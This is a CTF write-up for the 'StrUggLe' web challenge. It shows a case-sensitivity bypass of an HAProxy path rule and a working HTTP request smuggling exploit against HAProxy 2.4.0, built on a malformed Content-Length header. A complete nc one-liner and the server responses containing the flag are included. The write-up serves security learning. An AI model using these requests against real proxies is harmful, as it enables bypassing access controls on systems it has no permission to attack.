StrUggLe
HAProxy HTTP Request Smuggling
Welcome to Web! I struggle everyday I face a new website, can you access /flag endpoint ?
Link: http://128.199.3.34:1235
Author: Kahla
Unintended Solution
The HAProxy configuration to protect the /flag
endpoint was case sensitive. Therefore, the following would be sufficient to bypass the validation.
GET /FLAG HTTP/1.1
Host: 128.199.3.34:1235
HTTP/1.1 200 OK
x-powered-by: Express
content-type: text/html; charset=utf-8
content-length: 43
etag: W/"2b-aWQ+/21qg4d1e3yOxiZcpTrSBxw"
date: Fri, 13 May 2022 09:34:06 GMT
x-server: HaProxy-2.4.0
Securinets{W3lC0me_T0_FinAlS_4nD_SmUUgLinG}
Intended Solution
From the server response headers, we know that HAProxy version 2.4.0 is used in front of an Express application. This version is vulnerable to a HTTP request smuggling vulnerability.
Basically, an integer overflow leads to Content-Length0aaa...aaa:
being forwarded to the backend as Content-Length: 0
, while a second duplicate Content-Length
header is used by HAProxy to determine the length of the request body.
POST /test HTTP/1.1
Host: 128.199.3.34:1235
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 26
GET /flag HTTP/1.1
DUMMY:GET / HTTP/1.1
Host: 128.199.3.34:1235
In the above example, HAProxy considers the following to be the first request:
POST /test HTTP/1.1
Host: 128.199.3.34:1235
Content-Length: 26
GET /flag HTTP/1.1
DUMMY:
while the second request is the following:
GET / HTTP/1.1
Host: 128.199.3.34:1235
However, when forwarded to the backend, this becomes:
POST /test HTTP/1.1
Host: 128.199.3.34:1235
Content-Length: 0
GET /flag HTTP/1.1
DUMMY:GET / HTTP/1.1
Host: 128.199.3.34:1235
Therefore, the response for the second request will correspond to /flag
instead of /
.
Due to the way the pipelining works, we have to add some artificial delays when sending the consecutive requests.
$ (printf "POST / HTTP/1.1\r\n"\
"Host: 128.199.3.34:1235\r\n"\
"Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:\r\n"\
"Content-Length: 26\r\n\r\n"; sleep 1;
printf "GET /flag HTTP/1.1\r\n"\
"DUMMY:"; sleep 1; printf "GET /test HTTP/1.1\r\n"\
"Host: 128.199.3.34:1235\r\n\r\n") | nc 128.199.3.34 1235
HTTP/1.1 404 Not Found
x-powered-by: Express
content-security-policy: default-src 'none'
x-content-type-options: nosniff
content-type: text/html; charset=utf-8
content-length: 140
date: Fri, 13 May 2022 09:41:24 GMT
x-server: HaProxy-2.4.0
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot POST /</pre>
</body>
</html>
HTTP/1.1 200 OK
x-powered-by: Express
content-type: text/html; charset=utf-8
content-length: 43
etag: W/"2b-aWQ+/21qg4d1e3yOxiZcpTrSBxw"
date: Fri, 13 May 2022 09:41:26 GMT
x-server: HaProxy-2.4.0
Securinets{W3lC0me_T0_FinAlS_4nD_SmUUgLinG}
Last updated
Was this helpful?